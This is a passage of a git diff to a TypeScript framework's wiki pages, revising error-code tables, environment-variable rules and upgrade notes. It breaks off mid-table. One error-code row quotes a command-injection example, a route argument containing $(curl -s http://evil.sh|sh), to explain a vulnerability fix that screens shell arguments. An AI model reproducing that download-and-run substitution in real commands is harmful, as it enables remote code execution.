`X_OTLP_HEADERS_INVALID` rather than a bare `URIError` at exporter construction. The header **key** appears in the cause and the fix; the **value** never does — it is the collector's credential | -| `OTEL_TRACES_SAMPLER` / `OTEL_TRACES_SAMPLER_ARG` | read at the **first span**, never at module scope. `configureTelemetry({ sampler })` is the programmatic form | +| `OTEL_EXPORTER_OTLP_HEADERS` | `OTEL_EXPORTER_OTLP_TRACES_HEADERS` / `..._METRICS_HEADERS` REPLACES it for that signal. Percent-decoded, so `%zz` is `X_OTLP_HEADERS_INVALID` rather than a bare `URIError` at exporter construction. The header **key** appears in the cause and the fix; the **value** never does — it is the collector's credential | +| `OTEL_TRACES_SAMPLER` / `OTEL_TRACES_SAMPLER_ARG` | read at the **first span**, never at module scope. `parentbased_always_on` takes no arg and ignores one. `configureTelemetry({ sampler })` is the programmatic form | An empty `spanId` means "no inbound decision" and every reader honours it: a synthesised parent used to make the ratio sampler inherit a bit nobody sent, which exported **every HTTP root span at every ratio**. @@ -529,7 +529,7 @@ One typed schema, declared with `defineEnv` at module scope **in `app.config.ts` | `REDIS_URL` | any tier-3 cache user | if `redis` in `cache.tiers` | | | `BUILD_ID` | all | set by `x build` | content hash. Never a timestamp, never `latest` | | `DRAIN_TIMEOUT` | all | no — default `30s` | must be <= the orchestrator's `stop_grace_period` | -| `LOG_LEVEL` | all | no — default `info` | `debug \| info \| warn \| error` | +| `LOG_LEVEL` | all | no — unset or empty is `info` | `trace \| debug \| info \| warn \| error \| fatal \| silent`, lowercase. Any other value — `DEBUG`, `verbose` — is REFUSED at import (`X_INVARIANT`), never read as `info` | | `TRUSTED_PROXY_HOPS` | `web`, `sync` | no — unset trusts no proxy header | how many proxies **append** to `x-forwarded-for` between the client and this process: 1 for a single ingress or ALB, 2 for a CDN in front of one. Integer 1–16; anything else is `X_PORT_INVALID`, refused rather than defaulted, because reading the header at the wrong index is trusting a value the client typed. Unset means `ctx.ip` is the socket address, `ctx.peer` is `null` and no inbound `x-request-id` is echoed | | `OTEL_EXPORTER_OTLP_ENDPOINT` | all | no | the OTLP collector. There is no `otel` config block for it to override — see [`otel`](#otel) | @@ -539,7 +539,7 @@ Rules: |---|---| | Secrets are env or a mounted file | the framework never talks to a vendor secret API ([axiom 7](Home)) | | `env.X` reads through `defineEnv`'s schema | a declared key that is missing or malformed is `X_ENV_MISSING` at boot, every offender in one error. A `process.env` read outside the schema is a lint error, never a runtime one | -| `X_CONFIG_INVALID` is env **and** `app.config.ts` | one code for a configuration that cannot boot: what `defineConfig`'s own validation throws — a bad locale, an unknown time zone, `jobs.concurrency < 1`, a `realtime.transport` other than `memory` with no `realtime.urlEnv`, a `cache.tiers` entry the environment cannot supply — and any env **combination** no boot can resolve, thrown by the selector that reads it. Both CDN pairs or half a pair (`selectPurgeDriver`), `SMTP_URL` + `RESEND_API_KEY` or a transport with no `MAIL_FROM` (`selectMailDriver`), or `REPLICATION_URL` naming a different host, port or database than `DATABASE_URL` (`selectChangeFeed`) | +| `X_CONFIG_INVALID` is env **and** `app.config.ts` | one code for a configuration that cannot boot: what `defineConfig`'s own validation throws — a bad locale or two spellings of one, an unknown time zone, a section or list of the wrong shape (`jobs: null`), a value outside its closed set (`roles`, `jobs.backoff`, `theme.defaultMode`), a switch that is not a boolean (`database.ssl: 'false'`), `jobs.concurrency < 1`, a `realtime.transport` other than `memory` with no `realtime.urlEnv`, a `cache.tiers` entry the environment cannot supply — and any env **combination** no boot can resolve, thrown by the selector that reads it. Both CDN pairs or half a pair (`selectPurgeDriver`), `SMTP_URL` + `RESEND_API_KEY` or a transport with no `MAIL_FROM` (`selectMailDriver`), or `REPLICATION_URL` naming a different host, port or database than `DATABASE_URL` (`selectChangeFeed`) | | `X_ENV_MISSING` is one key, `X_CONFIG_INVALID` is the shape | absent or malformed key → `X_ENV_MISSING` at the `defineEnv` gate. Keys that each parse but contradict each other → `X_CONFIG_INVALID`. The two never overlap | | No runtime mutation | config is frozen after `defineConfig`; there is no `setConfig` | | Same image, all environments | only env differs. That is what makes staging a real rehearsal ([Deployment](Deployment)) | diff --git a/wiki/Error-Codes.md b/wiki/Error-Codes.md index 9f36aa902..84e4038da 100644 --- a/wiki/Error-Codes.md +++ b/wiki/Error-Codes.md @@ -53,11 +53,11 @@ The HTTP body is the same content as an RFC 9457 problem document — `type`, `t | `X_ERROR_RETRY_INVALID` | error retry classification is unknown or already claimed | `registerErrorRetry()` given a kind that is not `terminal`, `retryable` or `retry-after`, or a second, different classification for one code. Core's own codes are closed to reclassification: an app that could call `X_DRAINING` terminal would stop the retry a rolling restart depends on | `x errors list --json` — then `registerErrorRetry({ : 'retryable' })` with one of `terminal`, `retryable`, `retry-after` | | `X_ID_INVALID` | value is not a valid id | a hand-built string passed where a typed id is required | generate ids with `uuid()` / `typedId<'post'>()` from `@ultimat3/core` | | `X_CURSOR_INVALID` | pagination cursor is malformed, tampered with or from another query | signature mismatch — an edited cursor, or `ULTIMATE_CURSOR_SECRET` rotated — or a cursor built for a different query, filter or sort order | drop the cursor and request the first page (`after: null`) | -| `X_CURSOR_SECRET_DEV` | cursors are signed with the shipped development key | `ULTIMATE_CURSOR_SECRET` is unset outside `development`/`test`, so the signing key is the constant published in `@ultimat3/core` and a client can forge a page position. A process naming NO environment (`ULTIMATE_ENV`/`NODE_ENV` both unset) counts as production. Reported by `x doctor` as a warning, and **thrown at boot** by `assertNoDevSecretsOutsideLocal()` | `export ULTIMATE_CURSOR_SECRET="$(openssl rand -hex 32)"` | +| `X_CURSOR_SECRET_DEV` | cursors are signed with the shipped development key | `ULTIMATE_CURSOR_SECRET` is unset — or set to the EMPTY string, which counts as unset and never as an empty HMAC key — outside `development`/`test`, so the signing key is the constant published in `@ultimat3/core` and a client can forge a page position. A process naming NO environment (`ULTIMATE_ENV`/`NODE_ENV` both unset) counts as production. Reported by `x doctor` as a warning, and **thrown at boot** by `assertNoDevSecretsOutsideLocal()` | `export ULTIMATE_CURSOR_SECRET="$(openssl rand -hex 32)"` | | `X_ERROR_CODE_DUPLICATE` | error code registered twice | two packages declared the same code | rename the colliding code in the registering package's `src/errors.ts` | | `X_ERROR_REPORTER_DSN_INVALID` | the error monitor DSN is malformed | `SENTRY_DSN` is not a URL, carries no public key, names no project, or uses a scheme that is not `http`/`https`. Thrown at boot rather than at the first failure, because a monitor that was never connected looks exactly like an app that never failed | set `SENTRY_DSN=https://@/` in `.env`, then run `x env check` | -| `X_REGISTRAR_MISSING` | no registrar is loaded for a primitive kind | the owning package is absent from the graph, so nothing announced a registrar — `defineApi({ queries })` without `@ultimat3/query`. `meta.kind` names the kind, and the owner is `@ultimat3/`; importing it is what announces | `bun add @ultimat3/` | -| `X_REGISTRAR_CONFLICT` | two different registrars are loaded for one primitive kind | two copies of `@ultimat3/` in the dependency tree, each with its own registry, so half the primitives register where nothing reads them. `bun pm why @ultimat3/` names the dependents when ranges genuinely disagree | `bun update @ultimat3/` | +| `X_REGISTRAR_MISSING` | no registrar is loaded for a primitive kind | the owning package is absent from the graph, so nothing announced a registrar — `defineApi({ queries })` without `@ultimat3/query`. `meta.kind` names the kind, and a kind is not a package name: `action` and `mutator` → `@ultimat3/action`, `job` and `task` → `@ultimat3/jobs`, `route` → `@ultimat3/render`, `entity`, `policy`, `query` → their own. Importing the owner is what announces | `bun add ` — e.g. `bun add @ultimat3/jobs` for a missing `task` registrar; the error's own `fix:` names it | +| `X_REGISTRAR_CONFLICT` | two different registrars are loaded for one primitive kind | two copies of the kind's owning package in the dependency tree (`task` → `@ultimat3/jobs`, `mutator` → `@ultimat3/action`, `route` → `@ultimat3/render`), each with its own registry, so half the primitives register where nothing reads them. `bun pm why ` names the dependents when ranges genuinely disagree | `bun update ` — the error's own `fix:` names it | ## Metrics @@ -71,7 +71,7 @@ The three series `docker/helm` autoscales on are `http_requests_total` (the coun | `X_METRIC_VALUE_INVALID` | metric value is not recordable | a `NaN`/`Infinity` observation, or a counter decremented — a counter is a cumulative total and only goes up | pass a finite value, and use `gauge(name)` for a number that can fall | | `X_METRIC_CARDINALITY` | a metric exceeded its series ceiling and is folding into one overflow series | an unbounded label at the call site — a user id, a path, an email — so every distinct value mints a series and the scrape grows without limit. Past `maxSeries` every further label set folds into one `otel_metric_overflow="true"` series, reported once per instrument rather than once per observation. Also raised at declaration for a `maxSeries` that is not a positive integer | drop the unbounded label from the call site, or raise it deliberately: `counter('orders_total', { maxSeries: 4000 })` | | `X_OTLP_ENDPOINT_INVALID` | the OTLP collector endpoint is missing or malformed | `OTEL_EXPORTER_OTLP_ENDPOINT` unset with none passed, a value that is not a URL, a scheme that is not `http`/`https`, or the collector's gRPC receiver on `:4317` — OTLP/HTTP JSON is served on `:4318`, and an exporter pointed at the wrong port drops every batch with a transport error and no metrics | `set OTEL_EXPORTER_OTLP_ENDPOINT=http://otel-collector:4318`, or skip the exporter when `tryOtlpEndpoint('')` is undefined | -| `X_OTLP_HEADERS_INVALID` | `OTEL_EXPORTER_OTLP_HEADERS` is malformed | a percent-escape in one header **value** that `decodeURIComponent` cannot decode — a stray `%` meant literally (`api-key=100%`), or a truncated escape (`%zz`). Refused rather than kept raw: an operator-set variable with a bad escape is a misconfiguration, and sending the undecoded bytes would authenticate against nothing while looking like a collector outage. The header **key** is named in the `cause` and the `fix`; the value never is, because a header value is a credential | `set OTEL_EXPORTER_OTLP_HEADERS==`, where `` is what `bun -e 'console.log(encodeURIComponent(process.argv[1]))' ` prints — or drop the stray `%` if it was meant literally | +| `X_OTLP_HEADERS_INVALID` | `OTEL_EXPORTER_OTLP_HEADERS` is malformed | in `OTEL_EXPORTER_OTLP_HEADERS` or the per-signal `OTEL_EXPORTER_OTLP_TRACES_HEADERS` / `..._METRICS_HEADERS` that replaces it for its signal — the `cause` names the variable read — a percent-escape in one header **value** that `decodeURIComponent` cannot decode — a stray `%` meant literally (`api-key=100%`), or a truncated escape (`%zz`). Refused rather than kept raw: an operator-set variable with a bad escape is a misconfiguration, and sending the undecoded bytes would authenticate against nothing while looking like a collector outage. The header **key** is named in the `cause` and the `fix`; the value never is, because a header value is a credential | `set ==`, where `` is what `bun -e 'console.log(encodeURIComponent(process.argv[1]))' ` prints — or drop the stray `%` if it was meant literally | | `X_OTLP_PROTOCOL_UNSUPPORTED` | the OTLP protocol requested is not OTLP/HTTP JSON | `OTEL_EXPORTER_OTLP_PROTOCOL` asking for `grpc` or `http/protobuf`. This exporter speaks one wire format and no dependency ships a second — refused at construction rather than negotiated down | unset `OTEL_EXPORTER_OTLP_PROTOCOL` (or set it to `http/json`) and point `OTEL_EXPORTER_OTLP_ENDPOINT` at the collector's HTTP receiver, e.g. `http://otel-collector:4318` | | `X_TELEMETRY_SAMPLER_ARG_INVALID` | the trace sampling ratio is not a number between 0 and 1 | `OTEL_TRACES_SAMPLER_ARG` holding a value outside `[0, 1]`, or one that is not a number. Read at the first span, not at boot — so it warns through the logger and samples **every** trace rather than killing a process mid-request over a sampling typo. Losing the traces silently is the worse failure; the bill is the loud one | `set OTEL_TRACES_SAMPLER_ARG=0.05` — the `cause` names the spelling it read | @@ -82,8 +82,8 @@ One pipeline in `@ultimat3/core` serves `storage`, `seo` and `pwa`. It **decodes | Code | Means | Typical cause | Fix | |---|---|---|---| | `X_IMAGE_UNSUPPORTED` | the built-in image pipeline cannot read or write this format | a request for an AVIF or HEIC variant (both need an OS codec the pinned `backend: 'bun'` never uses), an SVG or TIFF source, or a colour that is not hex or `transparent` | `await transformImageBytes(bytes, { format: 'png' })` (or `'jpeg'`, or `'webp'`), or pass an `ImageTransformDriver` that produces the format — `meta.format` names the one refused | -| `X_IMAGE_DECODE_FAILED` | image bytes are malformed, truncated or internally inconsistent | a partial upload, a corrupted file, or a header that disagrees with the data that follows | `file ` to confirm the type, then re-export the image and retry | -| `X_IMAGE_TOO_LARGE` | image exceeds the pipeline pixel ceiling | a header declaring more than 64 megapixels — usually a decompression bomb, occasionally a real scan | `await transformImageBytes(bytes, { width: 4000 })` before it reaches the pipeline, or raise `MAX_IMAGE_PIXELS` deliberately | +| `X_IMAGE_DECODE_FAILED` | image bytes are malformed, truncated or internally inconsistent | a partial upload, a corrupted file, a header declaring no size, or a header that disagrees with the data that follows — a PNG stream that inflates past what its header's size needs is stopped at that bound | `file ` to confirm the type, then re-export the image and retry | +| `X_IMAGE_TOO_LARGE` | image exceeds the pipeline pixel ceiling | a header declaring more than 64 megapixels — usually a decompression bomb, occasionally a real scan. A header declaring NO size (zero, negative, fractional) is `X_IMAGE_DECODE_FAILED`, not this | downscale the source below the 64-megapixel ceiling before it reaches the pipeline, or route it through an `ImageTransformDriver` (a CDN or an external encoder). `MAX_IMAGE_PIXELS` is fixed, not a setting | ## Config and environment @@ -110,7 +110,7 @@ The envelope carries a **key id**: a domain-separated, truncated SHA-256 of the | Code | Means | Typical cause | Fix | |---|---|---|---| | `X_SECRETS_KEY_MISSING` | no master key for the encrypted secrets file | `ULTIMATE_SECRETS_KEY` is unset and `.secrets.key` does not exist, while a sealed file does. Fatal at boot on purpose — an app that started without its secrets authenticates against nothing and still reports healthy | `export ULTIMATE_SECRETS_KEY="$(cat .secrets.key)"`, or `x secrets init` in a repo that has no key yet | -| `X_SECRETS_KEY_INVALID` | the master key is not 32 bytes of hex | a truncated paste, or a platform secret that carried quotes. An AES-256 key is exactly 64 lowercase hex characters. The same code for a malformed entry of `ULTIMATE_SECRETS_RETIRED_KEYS`, whose cause names the entry | `export ULTIMATE_SECRETS_KEY="$(cat .secrets.key)"`; for a retired-ring entry, `x secrets edit` and correct or remove it | +| `X_SECRETS_KEY_INVALID` | the master key is not 32 bytes of hex | a truncated paste, or a platform secret that carried quotes. An AES-256 key is exactly 64 lowercase hex characters. The same code for a malformed entry of `ULTIMATE_SECRETS_RETIRED_KEYS`, whose cause names the entry | by where the bad key was READ: from `ULTIMATE_SECRETS_KEY`, `export ULTIMATE_SECRETS_KEY="$(cat .secrets.key)"`; from the key file, `wc -c ` — 65 is a whole key and its newline, any other count is the file to restore from wherever the team keeps the key (re-exporting reads the same bad file, and a lost key cannot be regenerated); for a retired-ring entry, `x secrets edit` and correct or remove the entry the cause names in `ULTIMATE_SECRETS_RETIRED_KEYS` — the variable is a line of `secrets.enc.json`, written there by `x secrets rotate`; a platform that also sets it wins, so correct it there too | | `X_SECRETS_KEY_MISMATCH` | the secrets file was sealed with a different master key | a key from another environment, or a `x secrets rotate` interrupted between its two writes. Both key ids are named in the cause | `git checkout -- secrets.enc.json`, or point `ULTIMATE_SECRETS_KEY` at the key whose id the file names | | `X_SECRETS_FILE_MISSING` | the encrypted secrets file does not exist | `x secrets show/edit/set/rotate` in a repo that never ran `init`. Never an empty listing — "no secrets" and "no file" are different facts | `x secrets init` | | `X_SECRETS_FILE_INVALID` | the encrypted secrets file is not a readable envelope | a merge conflict marker, a truncated write, an unknown `v` or `alg`, or a header field that is not base64. Nothing reached authentication, so this is not tampering | `git checkout -- secrets.enc.json` — the file is written only by `x secrets`, never by hand | @@ -144,6 +144,7 @@ The envelope carries a **key id**: a domain-separated, truncated SHA-256 of the | `X_SCHEMA_UNSUPPORTED` | the active schema provider cannot do this | a Standard Schema implementation without JSON Schema export | drop the `configureSchemaProvider()` call and use `t`, the shipped dependency-free builtin provider | | `X_SCHEMA_DISCRIMINANT_INVALID` | a discriminated union member can never be dispatched to | a member of `t.discriminatedUnion('', […])` that declares no literal at the discriminant, or one whose tag an earlier member already claims. Thrown where the union is **built**, not where a value is parsed: a member no tag routes to is wrong for every input, so the first import of the authoring file is the earliest honest place to say so | give the member named in `cause` a literal discriminant — `t.object({ : t.literal('…'), … })` — its own value at that key, or merge the two members into one; `t.union(...)` if the members share no key | | `X_SCHEMA_DEFAULT_UNSHAREABLE` | a schema default cannot be copied per parse | `.default(value)` where `value` holds a function, a symbol or anything else `structuredClone` refuses. Every parse that omits the field must receive its OWN copy — one shared object meant a handler's mutation became the next request's starting value — so a default that cannot be copied is refused where it is WRITTEN, at the first import of the authoring file, rather than shared and bled | pass a JSON-shaped default (plain object, array, `Date`, `Map`, `Set`), or drop `.default()` and answer the absent value in the handler | +| `X_SCHEMA_DEFAULT_INVALID` | a schema default fails its own schema | `.default(value)` where `value` is one the schema itself refuses — `t.number.min(5).default(1)`. An omitted field then parsed to a value the same schema rejects when it is sent, and the published JSON Schema stated a default that violates its own bounds, so it is refused where it is WRITTEN, at the first import of the authoring file | edit the `.default(…)` named in the stack so its value satisfies the rule quoted in `cause`, or relax that rule on the schema — then `bun test .test.ts` | ## HTTP @@ -937,7 +938,7 @@ Two sets override the table, in `failures.ts`: | `X_CLAUDE_MD_UNSCANNED` | there is no root `CLAUDE.md`, or no `packages/*/CLAUDE.md` was found | run from outside the repository root — never read as every file within its ceiling | `bun run scripts/claude-md-size.ts --json` from the repository root | | `X_NEW_ERROR_CODE_INVALID` | `bun run new-error-code` was called without what it needs, or for a package with no `errors.ts` | a code, `--package`, `--title`, `--cause` and `--fix` are all required, because the registration needs the title and the wiki row needs the cause and the fix — and a `--cause` that repeats `--title` is refused. Or `packages//src/errors.ts` does not exist | `bun run scripts/new-error-code.ts X_PKG_WHAT_FAILED --package --title '' --cause '' --fix ''`. For an unknown package, `bun run workspaces:list` lists the directories | | `X_NEW_ERROR_CODE_EXISTS` | the code is already registered or already documented | a package's `errors.ts` already names it, or `wiki/Error-Codes.md` already has its row. A code is registered once, and a shipped code never changes meaning | `x errors explain --json`, then pick a new code, or edit the existing registration or row | -| `X_NEW_ERROR_CODE_PATTERN_UNKNOWN` | the package's `errors.ts` has no shape `new-error-code` can add to | no `…TITLES` object and no literal `registerErrorCodes({ … })`, so adding the code would mean guessing. Both edits are planned before either is written, so the refusal leaves both files as they were | register the code by hand in the package's `errors.ts`, and add its row to `wiki/Error-Codes.md` in the same change | +| `X_NEW_ERROR_CODE_PATTERN_UNKNOWN` | the package's `errors.ts` has no shape `new-error-code` can add to | no `…TITLES` object, no literal `registerErrorCodes({ … })` and no frozen `…ERROR_CODES` declarations, so adding the code would mean guessing. Both edits are planned before either is written, so the refusal leaves both files as they were | register the code by hand in the package's `errors.ts`, and add its row to `wiki/Error-Codes.md` in the same change | | `X_FRAMEWORK_TABLE_UNAPPLIED` | a package declares a framework table in a `create table` and no boot path creates it | `packages/auth/src/tables.ts` declared `x_users`, `x_sessions`, `x_accounts`, `x_verifications` and `x_api_keys` and **nothing applied them**, in dev or in production, from the initial commit through all 21 released versions — they are not `entity()` declarations so `x db gen` never saw them, and the file exported the DDL for an app to paste into a migration that no app wrote. `examples/dummy/CLAUDE.md` recorded the symptom (nobody could hold a session) without anyone reaching the cause. The same shape as `jobs.driver`: a declaration nothing reads | `bun run framework-tables --json` — each finding names the table, the `file:line` that declares it and the `FRAMEWORK_SCHEMA` row to add | | `X_FIX_SHELL_ARG_UNSCREENED` | a value is spliced into the SHELL COMMAND POSITION of a `fix:` line without being screened | a `fix:` is a command meant to be pasted, so a substitution after a command word is a value that RUNS: `x g route /$(curl -s http://evil.sh\|sh)` was the rendered fix for an unauthenticated `GET` against any unrouted path. `renderFixShellArg` was written to close that one site and nothing watched the other 150. `renderFixLiteral` beside it is explicitly NOT the answer — it answers `JSON.stringify`, and `$(…)`, a backtick and a substitution are all live inside double quotes in every POSIX shell | `bun run fix-shell-arg --json` — wrap the value in `renderFixShellArg(value, '')` from `@ultimat3/core`; if it cannot carry shell syntax, pin the package in `scripts/lib/fix-shell-arg-pins.ts` with the sentence saying where the value comes from | | `X_FIX_SHELL_ARG_PIN_STALE` | a package is pinned above the number of unscreened `fix:` substitutions it still has | the pin outlived the repair, so it would let that many back in | `bun run scripts/fix-shell-arg.ts --unpin ` — it only lowers | @@ -1027,7 +1028,7 @@ Two sets override the table, in `failures.ts`: | `X_SITEMAP_EXTRA_INVALID` | a seo.sitemap.extra path names no public page | the path matches no registered route, a route that declares a policy, an api/ route, or a site/ page the sitemap already lists | x routes --json # then list in seo.sitemap.extra only a path a registered app/ route without a policy answers | | `X_DEV_RESTART_REQUIRED` | a save reached a module that defines a primitive; only a new process serves it | a slice service, a view under defineAdmin, or an action/query/entity/job file itself was saved, and the module that defines the primitive still holds the old code | restart x dev — the supervised x dev restarts itself; an embedded startDev() passes onRestart | | `X_DEV_ROOT_GONE` | the app root x dev serves was deleted or moved | the directory x dev was started in was removed or renamed while it ran (a test fixture torn down, a re-clone, mv of the checkout) | x dev # from the app root, once it exists again (restored, re-cloned or moved back) | -| `X_VERIFY_STEP_TIMEOUT` | a gate step ran past its deadline and was stopped | A step of `x verify` did not finish within its deadline (5 minutes for a check, 8 for a test suite, or the step's own `stepTimeoutMs` entry in `x.verify.json`). The step is failed by name and every process it started is killed, so a hung step cannot consume a CI job's whole timeout and leave no trace | `x verify --only unit --json` — reproduce the step alone; a step that legitimately needs longer states it under "stepTimeoutMs" in x.verify.json | +| `X_VERIFY_STEP_TIMEOUT` | a gate step ran past its deadline and was stopped | A step of `x verify` did not finish within its deadline (5 minutes for a check, 8 for a test suite, or the step's own `stepTimeoutMs` entry in `x.verify.json`). The step is failed by name and every process it started is killed, so a hung step cannot consume a CI job's whole timeout and leave no trace. When a `bun test` was in flight, the finding names the file(s) still running — the ones `bun test` reports its killed workers were holding (`at`, `meta.inFlight[].stuck`) and the killed processes (`meta.killed`), and its `fix:` is `bun test ` | `x verify --only unit --json` — reproduce the step alone; a step that legitimately needs longer states it under "stepTimeoutMs" in x.verify.json | | `X_COVERAGE_BELOW_FLOOR` | the unit suite covers less of the app than x.verify.json states | Line or function coverage of the app's own source — every `.ts`/`.tsx` under `apps/` and `packages/`, a file no unit test loads counted at 0% — is under the `coverage` floor in `x.verify.json`. A test was deleted, or source landed without one. The finding names the measured and required numbers and the ten files that lose the most lines | `x verify --only unit --json` — names the ten files losing the most lines; cover the worst with a test beside it | | `X_COVERAGE_FLOOR_UNSTATED` | x.verify.json states no coverage floor, or one under 95 with no reason | `x.verify.json` has no `coverage: { lines, funcs }`, so the gate has no floor to hold the unit suite to — an app is never held to a default it did not write. Also raised for a stated floor under 95 on either number that carries no `why` | `x verify --only unit --json` — the finding carries the measured numbers and the exact "coverage" line to add to x.verify.json | | `X_COVERAGE_FLOOR_STALE` | the app now covers more than the floor in x.verify.json states | A floor under 95 is more than 1.5 points below what the unit suite measures. The floor only rises: left alone it would let the next regression fall back to a number the app left behind | `x verify --only unit --json` — the finding carries the measured numbers; raise "coverage" in x.verify.json to them | diff --git a/wiki/Testing.md b/wiki/Testing.md index 1ee58011d..74c067d24 100644 --- a/wiki/Testing.md +++ b/wiki/Testing.md @@ -724,7 +724,7 @@ $ x verify | Step | Deadline | Past it | |---|---|---| -| `unit` `contract` `live` `job` `e2e` `eval` | 8 minutes | `X_VERIFY_STEP_TIMEOUT` on that step; every process it started is killed; the steps after it still run | +| `unit` `contract` `live` `job` `e2e` `eval` | 8 minutes | `X_VERIFY_STEP_TIMEOUT` on that step; every process it started is killed and the test file still running is named; the steps after it still run | | every other step | 5 minutes | the same | | one you name | `"stepTimeoutMs": { "unit": 900000 }` in `x.verify.json` | the same | @@ -746,7 +746,7 @@ finished. stdout stays the one document. | `X_COVERAGE_BELOW_FLOOR` | the unit suite covers less of the app than `x.verify.json` states | `x verify --only unit --json` names the ten worst files; cover the first with a test beside it | | `X_COVERAGE_FLOOR_UNSTATED` | no `coverage` in `x.verify.json`, or one under 95 with no `why` | the finding carries the line to add | | `X_COVERAGE_FLOOR_STALE` | a floor under 95 the tree has left 1.5 points behind | raise `coverage` to the numbers the finding carries | -| `X_VERIFY_STEP_TIMEOUT` | a gate step ran past its deadline | `x verify --only unit --json` reproduces the step alone | +| `X_VERIFY_STEP_TIMEOUT` | a gate step ran past its deadline | `bun test ` when the finding names the stuck file; otherwise `x verify --only unit --json` reproduces the step alone | Full list: [Error codes](Error-Codes). diff --git a/wiki/Upgrading.md b/wiki/Upgrading.md index f4efa13e7..a3ea2d4c8 100644 --- a/wiki/Upgrading.md +++ b/wiki/Upgrading.md @@ -6,6 +6,7 @@ | From → to | Breaking entries | Read | |---|---|---| +| 23.x → 24.0.0 | **16** so far, and **unreleased** — a calendar check on `t.date`, `t.url` refusing what the parser would cut, plain objects only, a default its own schema must accept, decimal-only coercion, a stricter `defineConfig`, an unknown `LOG_LEVEL` refused, `retry` and `createFlightGate` refusing a bound that is not one, a child context that aborts with its parent, compound credential names redacted, error `meta` under `extra.meta` in the monitor envelope, per-signal OTLP headers, a sampler that ignores a leftover ratio, wildcard host rules that stop at the network edge, and an empty cursor secret counted as unset | the `23.x → 24.0.0` section below. Its entries sit under `[Unreleased]` in `CHANGELOG.md` until the tag | | 22.x → 23.0.0 | **66** — an image line that prebuilds the island store, a worker that imports less of the app, a committed schema dump, a stated coverage floor, step deadlines, raw browser requests refused by the gate, a typed-handle repo with `list(limit)` and a generated query with no `orgId` input, admin label keys the `i18n` step now checks, every hand-written job driver and store fenced on its claim, `runJobs` through a real worker, a framework-served admin that replaces the host's pages and now serves the jobs dashboard, an async `AuditLog`, admin writes held to the row scope, and sealed scraping sessions that discard what was stored before | the `23.0.0` section, in order | | 21.x → 22.0.0 | **23** — two date readers that refuse a non-ISO string instead of reading it in the host's zone, a `helm` release named after the app, `channel()` requiring a policy, a per-mutation outbox, a `sync` role that refuses to boot with nothing to deliver, boot-owned auth tables, `x shot` on raw CDP with no `puppeteer-core`, `realtime.transport` deciding the bus, and removed exports: `Result`, realtime's `backoffDelay`, the e2e driver's move to `@ultimat3/testing`, `startLiveReplicator` leaving it, unreferenced package internals and 236 of the CLI's, a one-time `x db gen` for a re-stamped schema hash, and a query that filters on a column its loader never selected refusing instead of answering `[]` | the `22.0.0` section, in order | | 20.x → 21.0.0 | **27** — `AsyncState`'s import path, `custom(merge)` over rows rather than outputs, realtime's second conflict vocabulary removed, `isSuperseded` widened, one error path for every typed client, the record envelope on actions that return entity rows, the service worker's outbox flush replaced by a message to open tabs, a third client-scope answer, `last-write-wins` refused without a clock, the realtime client rebuilt around one page store and one read hook, Compose requiring `SYNC_URL`, `x verify`'s duration as wall time, and channels served by declaration only. The client data layer, one entry per removed surface | the `21.0.0` section, in order | @@ -69,12 +70,78 @@ Each entry changes a surface the table below covers. | that the tarball is attested | `npm view @ultimat3/core dist.attestations` | a `provenance` object | | every name that must move together | `bun run scripts/release-workflow.ts --json` | the 30 derived names — check each | +## 23.x → 24.0.0, entry by entry — **unreleased** + +**Sixteen entries so far** — 24.0.0 is in flight, and this section tracks `CHANGELOG.md`'s +`[Unreleased]` entries in their order: grouped by package, lowest tier first. No legacy path, no +codemod, no compatibility shim — every break is a build error or an `X_*` error naming the rewrite. +`As of 2026-10` slice 01 has landed: `@ultimat3/schema` and `@ultimat3/core`. A later slice appends +its rows below the last one and never renumbers. + +### The upgrade, top to bottom + +| # | Do | What you see until you do | Entries | +|---|---|---|---| +| 1 | pin every `@ultimat3/*` to the one new version, `bun install` | nothing yet — a mixed install is untested | — | +| 2 | `bun run typecheck`, then `x verify --only typecheck,unit` | `X_SCHEMA_DEFAULT_INVALID` or `X_CONFIG_INVALID` at the first import of the file that declares it | 4, 6 | +| 3 | read the deploy environment: `LOG_LEVEL`, `ULTIMATE_CURSOR_SECRET`, `OTEL_EXPORTER_OTLP_TRACES_HEADERS`, `OTEL_EXPORTER_OTLP_METRICS_HEADERS`, `OTEL_TRACES_SAMPLER` | a boot that exits on `X_INVARIANT` or `X_CURSOR_SECRET_DEV`; a collector that rejects one signal; every root trace sampled where a leftover ratio thinned them | 7, 13, 14, 16 | +| 4 | `x verify --only unit,contract,e2e` and fix the tests it fails | a date, URL, object or query number that validated and is now refused; a redacted field a test read | 1–3, 5, 8–11 | +| 5 | repoint error-monitor rules from `extra.` to `extra.meta.`; add an exact host rule for each internal address a wildcard used to admit | a saved search that matches nothing; a refused request to `127.0.0.1` | 12, 15 | +| 6 | `x verify` | green, or a finding whose `fix:` is the edit | — | + +### Entry by entry + +Tier 0 — `@ultimat3/schema` (1–5), `@ultimat3/core` (6–16). + +| # | Surface | Costs you an edit if | +|---|---|---| +| 1 | `t.date`, `isIsoDateTime`, `fromIso`, `timestamp()` columns, feed dates, `DateTime` | a fixture, seed, import or client sends a day its month does not have (`'2026-02-30'`, `'2026-04-31'`), month `00`/`13`, day `00`/`32`. Refused at validation; it used to roll over into the next month. Correct the date at its source | +| 2 | `t.url` | a value has a leading or trailing space or control character, or a tab, CR or LF anywhere. `value.trim()` before validating; an interior tab, CR or LF survives `.trim()` — strip or percent-encode it at the source. A stored row that already holds one fails the next time it is validated | +| 3 | `t.object`, `t.record`, `t.money` | you pass a `Map`, a `Date` or a class instance. Pass a plain object: `{ ...instance }`, `Object.fromEntries(map)`. Null-prototype objects are still accepted | +| 4 | `.default(v)` | `v` fails the schema it is declared on (`t.number.min(5).default(1)`). `X_SCHEMA_DEFAULT_INVALID` at the first import of the file; the cause quotes the rule. Edit the default, or relax the rule | +| 5 | HTTP query and form coercion | a client sends `0x10`, `0b11` or `0o17` for a number. It stays a string and fails as `expected a number`. Send decimal | +| 6 | `defineConfig` | `app.config.ts` or an overlay holds: an unknown `roles` entry, `jobs.backoff`, `database.driver` or `theme.defaultMode`; a non-boolean `database.ssl`, `realtime.enabled` or `ai.mcp.expose` (`'false'` from an env variable read as on — write `process.env.X === 'true'`); `auth.signInPath` or `ai.mcp.path` with no leading `/`; `cache.tiers: []`; an empty or non-string `jobs.queues` entry; one locale twice (`['EN', 'en']`); a section set to `null`. `X_CONFIG_INVALID` names each key | +| 7 | `LOG_LEVEL` | a deploy sets a value that is not `trace`, `debug`, `info`, `warn`, `error`, `fatal` or `silent`, lower-case — `DEBUG` and `verbose` included. The process exits at import (`X_INVARIANT`); it used to log at `info`. Unset and empty are unchanged | +| 8 | `retry()`, 